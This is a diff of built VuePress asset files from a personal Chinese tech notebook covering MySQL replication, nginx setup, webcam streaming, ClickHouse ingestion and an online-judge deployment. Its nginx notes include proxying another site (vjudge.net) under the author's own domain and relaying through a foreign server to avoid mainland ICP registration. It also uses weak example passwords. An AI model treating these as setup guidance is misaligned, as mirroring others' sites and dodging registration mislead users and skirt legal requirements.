alert-info 蓝色
:::
::: alert
alert-error 红色
:::
WARNING: be careful to baz the quux before initializing the retro encabulator! `,14),t=[l];function s(d,c){return n(),i("div",null,t)}const v=e(r,[["render",s],["__file","markdown学习.html.vue"]]);export{v as default}; diff --git "a/assets/markdown\345\255\246\344\271\240.html-z0qqMoTi.js" "b/assets/markdown\345\255\246\344\271\240.html-z0qqMoTi.js" new file mode 100644 index 0000000..c9eb93e --- /dev/null +++ "b/assets/markdown\345\255\246\344\271\240.html-z0qqMoTi.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-2f05202c","path":"/notebook/markdown%E5%AD%A6%E4%B9%A0.html","title":"markdown学习","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/markdown学习.md"}');export{t as data}; diff --git "a/assets/mysql_\344\270\273\344\273\216\345\244\215\345\210\266.html-MzwNrIxL.js" "b/assets/mysql_\344\270\273\344\273\216\345\244\215\345\210\266.html-MzwNrIxL.js" new file mode 100644 index 0000000..c459a47 --- /dev/null +++ "b/assets/mysql_\344\270\273\344\273\216\345\244\215\345\210\266.html-MzwNrIxL.js" @@ -0,0 +1,68 @@ +import{_ as e,o as n,c as i,a as s}from"./app-x8p6wK6B.js";const a={},l=s(`⚠️ If you are using mobile browser: Be very careful here!
# [mysql]主从复制
# 步骤
# 1,主开启binlog
docker run --name mydb2 -itd -e MYSQL_ROOT_PASSWORD=pwd -v /dbconf/:/etc/mysql/conf.d/ mariadb
[root@bogon ~]# vim /mydb1/conf/my.cnf [mysqld] server_id=1 log_bin=mysql-bin
show master status; +show variables like '%%log_bin%'; +
# 2. 副修改server_id
[root@bogon ~]# vim /mydb2/conf/my.cnf [mysqld] server_id=2
+show variables like '%server_id%'; + +
# 3.副开启主从
`,11),d=[l];function r(v,c){return n(),i("div",null,d)}const t=e(a,[["render",r],["__file","mysql_主从复制.html.vue"]]);export{t as default}; diff --git "a/assets/mysql_\344\270\273\344\273\216\345\244\215\345\210\266.html-hhiDhYAg.js" "b/assets/mysql_\344\270\273\344\273\216\345\244\215\345\210\266.html-hhiDhYAg.js" new file mode 100644 index 0000000..df14b3d --- /dev/null +++ "b/assets/mysql_\344\270\273\344\273\216\345\244\215\345\210\266.html-hhiDhYAg.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-1306d2e8","path":"/ops/mysql_%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6.html","title":"[mysql]主从复制","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"步骤","slug":"步骤","link":"#步骤","children":[{"level":3,"title":"1,主开启binlog","slug":"_1-主开启binlog","link":"#_1-主开启binlog","children":[]},{"level":3,"title":"2. 副修改server_id","slug":"_2-副修改server-id","link":"#_2-副修改server-id","children":[]},{"level":3,"title":"3.副开启主从","slug":"_3-副开启主从","link":"#_3-副开启主从","children":[]}]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"ops/[mysql]主从复制.md"}');export{l as data}; diff --git "a/assets/mysql_\345\205\250\350\241\250\346\237\245\350\257\242\347\232\204\344\274\230\345\214\226.html-2oZQleTZ.js" "b/assets/mysql_\345\205\250\350\241\250\346\237\245\350\257\242\347\232\204\344\274\230\345\214\226.html-2oZQleTZ.js" new file mode 100644 index 0000000..086f8a1 --- /dev/null +++ "b/assets/mysql_\345\205\250\350\241\250\346\237\245\350\257\242\347\232\204\344\274\230\345\214\226.html-2oZQleTZ.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-18f94f3e","path":"/web/mysql_%E5%85%A8%E8%A1%A8%E6%9F%A5%E8%AF%A2%E7%9A%84%E4%BC%98%E5%8C%96.html","title":"[mysql]全表查询的优化","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/[mysql]全表查询的优化.md"}');export{e as data}; diff --git "a/assets/mysql_\345\205\250\350\241\250\346\237\245\350\257\242\347\232\204\344\274\230\345\214\226.html-HycpRTEg.js" "b/assets/mysql_\345\205\250\350\241\250\346\237\245\350\257\242\347\232\204\344\274\230\345\214\226.html-HycpRTEg.js" new file mode 100644 index 0000000..d4616bf --- /dev/null +++ "b/assets/mysql_\345\205\250\350\241\250\346\237\245\350\257\242\347\232\204\344\274\230\345\214\226.html-HycpRTEg.js" @@ -0,0 +1,6 @@ +import{_ as e,o as s,c as n,a as i}from"./app-x8p6wK6B.js";const t="/assets/20220224210928822_228379039-jj5_jq4n.png",a="/assets/20220224210940314_813231284-I9WT5wLd.png",c="/assets/20220224210923170_2109960537-GwFjhZ3Z.jpg",d="/assets/20220224221723556_1392260680-_0RFBjlq.png",l="/assets/20220224230946729_743431048-3ursmqfX.png",o={},r=i('MariaDB [(none)]> CHANGE MASTER TO MASTER_HOST='172.17.0.2', MASTER_USER='slave', MASTER_PASSWORD='slave', MASTER_LOG_FILE='mysql-bin.000001', MASTER_LOG_POS=511; +Query OK, 0 rows affected (0.015 sec) + +MariaDB [(none)]> start slave; +Query OK, 0 rows affected (0.005 sec) + +MariaDB [(none)]> show slave status\\G +*************************** 1. row *************************** + Slave_IO_State: Waiting for master to send event + Master_Host: 172.17.0.2 + Master_User: slave + Master_Port: 3306 + Connect_Retry: 60 + Master_Log_File: mysql-bin.000001 + Read_Master_Log_Pos: 511 + Relay_Log_File: mysqld-relay-bin.000002 + Relay_Log_Pos: 555 + Relay_Master_Log_File: mysql-bin.000001 + Slave_IO_Running: Yes + Slave_SQL_Running: Yes + Replicate_Do_DB: + Replicate_Ignore_DB: + Replicate_Do_Table: + Replicate_Ignore_Table: + Replicate_Wild_Do_Table: + Replicate_Wild_Ignore_Table: + Last_Errno: 0 + Last_Error: + Skip_Counter: 0 + Exec_Master_Log_Pos: 511 + Relay_Log_Space: 865 + Until_Condition: None + Until_Log_File: + Until_Log_Pos: 0 + Master_SSL_Allowed: No + Master_SSL_CA_File: + Master_SSL_CA_Path: + Master_SSL_Cert: + Master_SSL_Cipher: + Master_SSL_Key: + Seconds_Behind_Master: 0 + Master_SSL_Verify_Server_Cert: No + Last_IO_Errno: 0 + Last_IO_Error: + Last_SQL_Errno: 0 + Last_SQL_Error: + Replicate_Ignore_Server_Ids: + Master_Server_Id: 1 + Master_SSL_Crl: + Master_SSL_Crlpath: + Using_Gtid: No + Gtid_IO_Pos: + Replicate_Do_Domain_Ids: + Replicate_Ignore_Domain_Ids: + Parallel_Mode: conservative + SQL_Delay: 0 + SQL_Remaining_Delay: NULL + Slave_SQL_Running_State: Slave has read all relay log; waiting for the slave I/O thread to update it + Slave_DDL_Groups: 0 +Slave_Non_Transactional_Groups: 0 + Slave_Transactional_Groups: 0 +1 row in set (0.000 sec) +
# [mysql]全表查询的优化
执行分析命令时,对于一个量级为110w的数据表进行全表扫描
ALTER TABLE `xx`\nADD PRIMARY KEY `id_score` (`id`, `score`),\nDROP INDEX `PRIMARY`;\n\n
先改一下表里的数据
update xxx set score=-1 where score is null + -> ; +Query OK, 2637 rows affected (8.47 sec) +Rows matched: 2637 Changed: 2637 Warnings: 0 + +
然后改表的默认值,
然后加上这个联合主键
加主键的时候,我把score放前面了,又不行,必须把id放第一个
加完以后,又出问题
为什么推荐InnoDB引擎使用自增主键? https://www.kancloud.cn/db-design/mysql-dba/596722
MySQL PARTITION 分区表使用教程 https://news.sangniao.com/p/2684880278 结合业务场景选择分区键,避免跨分区查询 对分区表进行查询最好在WHERE从句中包含分区键 具有主键或唯一索引的表,主键或唯一索引必须是分区键的一部分(这也是为什么我们上面分区时去掉了主键登录日志id(login_id)的原因,不然就无法按照上面的按年份进行分区,所以分区表其实更适合在MyISAM引擎中) 关于MyISAM和Innodb的索引区别
1.关于自动增长
myisam引擎的自动增长列必须是索引,如果是组合索引,自动增长可以不是第一列,他可以根据前面几列进行排序后递增。
innodb引擎的自动增长咧必须是索引,如果是组合索引也必须是组合索引的第一列。
',18),p=[r];function m(_,u){return s(),n("div",null,p)}const b=e(o,[["render",m],["__file","mysql_全表查询的优化.html.vue"]]);export{b as default}; diff --git "a/assets/n1\347\233\222\345\255\220_\344\275\277\347\224\250n1\347\233\222\345\255\220\344\273\245\345\217\212\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264\350\277\233\350\241\214\347\233\264\346\222\255.html-1DGe_3H6.js" "b/assets/n1\347\233\222\345\255\220_\344\275\277\347\224\250n1\347\233\222\345\255\220\344\273\245\345\217\212\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264\350\277\233\350\241\214\347\233\264\346\222\255.html-1DGe_3H6.js" new file mode 100644 index 0000000..f5d2193 --- /dev/null +++ "b/assets/n1\347\233\222\345\255\220_\344\275\277\347\224\250n1\347\233\222\345\255\220\344\273\245\345\217\212\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264\350\277\233\350\241\214\347\233\264\346\222\255.html-1DGe_3H6.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-5107f338","path":"/notebook/n1%E7%9B%92%E5%AD%90_%E4%BD%BF%E7%94%A8n1%E7%9B%92%E5%AD%90%E4%BB%A5%E5%8F%8A%E7%BD%97%E6%8A%80%E6%91%84%E5%83%8F%E5%A4%B4%E8%BF%9B%E8%A1%8C%E7%9B%B4%E6%92%AD.html","title":"[n1盒子]使用n1盒子以及罗技摄像头进行直播","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/[n1盒子]使用n1盒子以及罗技摄像头进行直播.md"}');export{t as data}; diff --git "a/assets/n1\347\233\222\345\255\220_\344\275\277\347\224\250n1\347\233\222\345\255\220\344\273\245\345\217\212\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264\350\277\233\350\241\214\347\233\264\346\222\255.html-Awm7UpR8.js" "b/assets/n1\347\233\222\345\255\220_\344\275\277\347\224\250n1\347\233\222\345\255\220\344\273\245\345\217\212\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264\350\277\233\350\241\214\347\233\264\346\222\255.html-Awm7UpR8.js" new file mode 100644 index 0000000..1a879bf --- /dev/null +++ "b/assets/n1\347\233\222\345\255\220_\344\275\277\347\224\250n1\347\233\222\345\255\220\344\273\245\345\217\212\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264\350\277\233\350\241\214\347\233\264\346\222\255.html-Awm7UpR8.js" @@ -0,0 +1 @@ +import{_ as e,o as t,c,a as p}from"./app-x8p6wK6B.js";const d={},a=p('mysql 分区的真正作用? https://www.zhihu.com/question/38418707
# [n1盒子]使用n1盒子以及罗技摄像头进行直播
方式1 ffserver 然后使用
ffmpeg -f v4l2 -i /dev/video1 -s 640x480 -r 24 -vcodec libx264 -an http://127.0.0.1:8090/feed1.ffm
把video1串流到ffm文件
之后使用播放器访问 rtsp://192.168.2.190:8554/live1.h264
使用webrtc转发 设备到web(未实现) docker run -p 8000:8000 -it mpromonet/webrtc-streamer -n raspicam -u rtsp://192.168.2.190:8554/live1.h264
方式2 通过vlc
cvlc --no-audio v4l2:///dev/video1 --v4l2-width 1920 --v4l2-height 1080 --v4l2-chroma h264 --v4l2-fps 30 --v4l2-hflip 1 --v4l2-vflip 1 --sout "#transcode{vcodec=mjpg,vb=25,scale=1.0,fps=24,acodec=none}:standard{access=http{mime=multipart/x-mixed-replace; boundary=7b3cc56e5f51db803f790dad720ed50a},mux=mpjpeg,dst=:8554/videostream.cgi}"
v4l2:///dev/video1:width=1920:height=1080:fps=30:chroma=MJPG:live-caching=300 --sout "#transcode{vcodec=mjpg,vb=25,scale=1.0,fps=24,acodec=none}:standard{access=http{mime=multipart/x-mixed-replace; boundary=7b3cc56e5f51db803f790dad720ed50a},mux=mpjpeg,dst=:8554/videostream.cgi}" 直接打开 8554端口即可
方式3 motion
修改下配置文件,设置局域网访问即可
vlc v4l2:///dev/video1 --sout "#std{access=http,mux=mpjpeg,dst=:8554/videostream.cgi}"
方式4 mjpg-streamer
这种方式只能推送图片,优点是延迟底,以及不需要安装软件,浏览器访问即可
',14),o=[a];function s(r,i){return t(),c("div",null,o)}const m=e(d,[["render",s],["__file","n1盒子_使用n1盒子以及罗技摄像头进行直播.html.vue"]]);export{m as default}; diff --git a/assets/nginx.html-5oTIskkv.js b/assets/nginx.html-5oTIskkv.js new file mode 100644 index 0000000..f400e2b --- /dev/null +++ b/assets/nginx.html-5oTIskkv.js @@ -0,0 +1,108 @@ +import{_ as n,o as s,c as a,a as e}from"./app-x8p6wK6B.js";const i={},p=e(`# nginx简洁
nginx是一个反向代理服务器,同时也是一个轻量的web服务器(php要配置php) 在一台服务器上,我们可以在不同的端口开设web服务,以 ip:port 的形式访问,但是这是不好看的 如果你有一个已经备案的域名,则可以在域名服务商处设置隐形url, 将二级域名转发到ip:port 如果你的服务器在国外,同时域名没有备案, 可以通过nginx来设置二级域名,
# 2022-2-6 nginx图片分层
存储大量图片时,可能会遇到linux文件夹文件数量的限制 我所使用的方案:保存图片时按照图片的md5前四位建立二级目录,例如md5为abcdefgxxx ,则保存后的文件目录为 /www/static/images/ab/cd/abcdefgxxx 然后使用nginx正则去获取文件的前四位
+location ~ ^/static/images/((..)(..).+) { + set $dir1 $2; + set $dir2 $3; + set $filename $1; + default_type image/jpeg; + alias /www/static/images/$dir1/$dir2/; + try_files $filename =404; +} + + +
# nginx作为静态资源服务器
https://www.w3cschool.cn/nginxsysc/nginxsysc-cache.html
# nginx简单操作
+//检测编写的配置文件是否有语法错误 +nginx -t +// 热重启nginx (nginx不重启的情况下重新加载配置文件) +nginx -s reload + +
# 通过nginx设置二级域名
首先, 需要在域名服务商处将 *.your.domain 解析到你的服务器
然后安装nginx服务,具体不细说
在/etc/nginx/conf.d 文件夹下新建 test.conf文件
假设你要将本机 3456端口的内容设置到blog这个二级域名
server_name 二级域名 proxy_pass 写你本机的地址
配置文件编写如下
server { + listen 80; + server_name blog.moyechen.cn; + + location / { + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Host $http_host; + proxy_pass http://0.0.0.0:3456; + } +} +
# nginx作为轻量的web服务器
root那里写web页面的路径
index写主页文件.可以多个server { + listen 80; + server_name scs.moyechen.cn; + + index index.html index.php; + root /root/src/cnn/conv/; + location / { + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Host $http_host; + } +} +
# 带PHP的页面
需要我们本地安装有PHP服务,然后设置一下PHP服务即可
server { + listen 80 default_server; + listen [::]:80 default_server; + server_name acm.moyechen.cn; + + index index.php; + root /home/judge/src/web; + + location / { + + } + location ~ \\.php$ { + fastcgi_index index.php; + fastcgi_pass 127.0.0.1:9000; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + fastcgi_split_path_info ^(.+\\.php)(/.+)$; + client_max_body_size 80m; + include fastcgi_params; + } +} +
# 直接偷别人的页面
但是好像不能登陆,可能是https导致的
server { + listen 80; + server_name vj.moyechen.cn; + + location / { + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Host $http_host; + proxy_pass https://vjudge.net; + } +} +
# frps 简单配置
server { + listen 80; + server_name *.frp.moyechen.cn; + location / { + proxy_pass http://127.0.0.1:7080; + proxy_set_header Host $host:80; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_hide_header X-Powered-By; + } +} +server { + listen 80; + server_name frp.moyechen.cn; + location / { + proxy_pass http://127.0.0.1:7500; + proxy_set_header Host $host:80; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_hide_header X-Powered-By; + } +} +
# 国内服务器如何不备案放到域名上
如果国内服务器不备案,并且被一个域名指向,那么几天后你访问就会出现需要备案的标记
我们可以用一台国外服务器来做中转,注意端口最好不要使用80以及443等常用端口
不然好像还会被封假设国内服务器ip为 xxx.xxx.xxx.xxx 假设web服务开设在国内服务器5678端口
- 第一步, 在域名服务商设置你的域名解析到国外服务器的ip
- 第二步, 设置中转机器
中转机器配置信息:
server { + listen 80; + server_name 写你的域名; + + location / { + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Host $http_host; + proxy_pass http://xxx.xxx.xxx.xxx:5678; + } +} + +
那既然有国外服务器了,为什么还要用国内服务器开设web页面呢? 我也不知道
# nginx日志审计
# 统计访问IP前十
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head -10
# 统计状态码
awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head -10
# nginx 安全
# 账户验证
在linux中,如果不安装apache,但是又需要用htpasswd生成登录账号,如:配置Nginx,pure-ftpd,subversion等。
那就需要找一个替代htpasswd生成密码的方法,用openssl就可以办到
# printf "user:$(openssl passwd -crypt 123456)\\n" >>conf/.htpasswd +# cat conf/htpasswd +
===结果=== user:xyJkVhXGAZ8tM
这样就生成了一个用户名为user,密码为123456的账号了。
`,49),t=[p];function c(l,d){return s(),a("div",null,t)}const r=n(i,[["render",c],["__file","nginx.html.vue"]]);export{r as default}; diff --git a/assets/nginx.html-xodFXP41.js b/assets/nginx.html-xodFXP41.js new file mode 100644 index 0000000..37f15e9 --- /dev/null +++ b/assets/nginx.html-xodFXP41.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-53b6469a","path":"/notebook/nginx.html","title":"nginx简洁","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"带PHP的页面","slug":"带php的页面","link":"#带php的页面","children":[]},{"level":2,"title":"nginx日志审计","slug":"nginx日志审计","link":"#nginx日志审计","children":[{"level":3,"title":"统计访问IP前十","slug":"统计访问ip前十","link":"#统计访问ip前十","children":[]},{"level":3,"title":"统计状态码","slug":"统计状态码","link":"#统计状态码","children":[]}]},{"level":2,"title":"nginx 安全","slug":"nginx-安全","link":"#nginx-安全","children":[{"level":3,"title":"账户验证","slug":"账户验证","link":"#账户验证","children":[]}]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/nginx.md"}');export{l as data}; diff --git a/assets/oceanus.html-wyQKBsB6.js b/assets/oceanus.html-wyQKBsB6.js new file mode 100644 index 0000000..0941e9d --- /dev/null +++ b/assets/oceanus.html-wyQKBsB6.js @@ -0,0 +1,12 @@ +import{_ as i,o as a,c as e,a as s}from"./app-x8p6wK6B.js";const t="/assets/20210706000854738_8657-_CyPZxwc.png",n="data:image/png;base64,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",c="/assets/20210710111354832_28033-d6IVyjbP.png",o="/assets/20210710111622380_22277-rkxmw4x3.png",r="/assets/20210710111717516_31301-jnrMYRo7.png",l="/assets/20210710111828345_24528-wV1biks8.png",p="/assets/20210712122439699_5581-wNjEpKjZ.png",d="/assets/20210712122457899_22964--zHa_imy.png",A="/assets/20210712122339853_29496-WHb4SxrT.png",h={},u=s('server { + auth_basic "login"; + auth_basic_user_file conf/.htpasswd; +} +
# oceanus
# 操作步骤
- oceaus 平台建表, 包括海力方表和ch表, 其中要注意ch表写入时间(一般60)和写入量(10000+)
- 新建任务
- 申请资源
- 运行任务
问题汇总
# 问题1
复制海力方表的tid过去后, 自动填充的字段类型有错误,需要手动检查修改
# 问题2
类型正确后, 启动任务不闪退了,但是没数据, 查看日志发现连接本地ch数据库出了问题 3. 通过百度了解到tcp端口为9000, 默认的http端口为8123, 但是我这里是修改过的, 因此是8080
修改为自定义的8080端口, ok
# 问题3:
使用select count(*) 查询数据量正常, 但是select sum(rows) 显示的数量要大的多
查找后发现是因为数据写入太快, 导致分区过多 可以看到前几天的数据都是一个分区, 这是ch后台合并的结果
但是查看当天的数据, 发现分了好多区,并且每一块都很小
发现是写入es批量太小, 且写入太快导致的
- 增大批量写条目数, 设置为100000(默认为1000), 如果表过大, 可调整
- 增大flush时间间隔 设置为60s(默认为1) https://oceanus.oa.com/#/table/list
优化后 查询语句
SELECT + table, + partition, + sum(rows) AS row +FROM system.parts +WHERE (database = 'situation_awareness') AND (table = 'weilidai_antiCollection_socialUniformity_oceanus') +GROUP BY + table, + partition + WITH TOTALS +ORDER BY partition ASC +
# 问题4 数据消费问题
需设置savepoint, 防止重启任务时中间数据丢失问题
# 问题5 导出至clickhouse数据库
官方文档中有说明, 只有1.14版本支持导出
https://iwiki.woa.com/pages/viewpage.action?pageId=746586889
https://iwiki.woa.com/pages/viewpage.action?pageId=703323873
',27),b=[u];function m(g,C){return a(),e("div",null,b)}const I=i(h,[["render",m],["__file","oceanus.html.vue"]]);export{I as default}; diff --git a/assets/oceanus.html-xIXz_Fll.js b/assets/oceanus.html-xIXz_Fll.js new file mode 100644 index 0000000..ae76252 --- /dev/null +++ b/assets/oceanus.html-xIXz_Fll.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-46b5f098","path":"/notebook/oceanus.html","title":"oceanus","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"操作步骤","slug":"操作步骤","link":"#操作步骤","children":[]},{"level":2,"title":"问题1","slug":"问题1","link":"#问题1","children":[]},{"level":2,"title":"问题2","slug":"问题2","link":"#问题2","children":[]},{"level":2,"title":"问题3:","slug":"问题3","link":"#问题3","children":[]},{"level":2,"title":"问题4 数据消费问题","slug":"问题4-数据消费问题","link":"#问题4-数据消费问题","children":[]},{"level":2,"title":"问题5 导出至clickhouse数据库","slug":"问题5-导出至clickhouse数据库","link":"#问题5-导出至clickhouse数据库","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/oceanus.md"}');export{l as data}; diff --git a/assets/oj.html-79YbMTzR.js b/assets/oj.html-79YbMTzR.js new file mode 100644 index 0000000..3b3368a --- /dev/null +++ b/assets/oj.html-79YbMTzR.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-12fb3630","path":"/ops/oj.html","title":"oj","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"php7.2","slug":"php7-2","link":"#php7-2","children":[{"level":3,"title":"代码路径信息","slug":"代码路径信息","link":"#代码路径信息","children":[]}]},{"level":2,"title":"代码结构","slug":"代码结构","link":"#代码结构","children":[]},{"level":2,"title":"nginx","slug":"nginx","link":"#nginx","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"ops/oj.md"}');export{l as data}; diff --git a/assets/oj.html-DrprtZF7.js b/assets/oj.html-DrprtZF7.js new file mode 100644 index 0000000..4de18aa --- /dev/null +++ b/assets/oj.html-DrprtZF7.js @@ -0,0 +1,80 @@ +import{_ as n,o as e,c as s,a as i}from"./app-x8p6wK6B.js";const a="/assets/20221206100854428_16773-Jc0xcMb9.png",d={},l=i(`# oj
pdsuoj
# php7.2
# 代码路径信息
php配置文件路径
/etc/php/7.2/fpm/php.ini
这个文件修改后需重启php使修改生效
service php7.2-fpm restart
代码路径
/home/judge/src/web/
开发代码路径
/home/judge/src/web-dev/
下面的信息都基于项目根目录
- 数据库等配置文件的路径
include/db_info.inc.php
# 代码结构
假设主目录为
/home/judge/src/web/
主目录下的php文件为后端文件,负责数据库查询,数组结构组装其中前端在template/bs3/ 路径下 admin前端在 admin/ 路径下
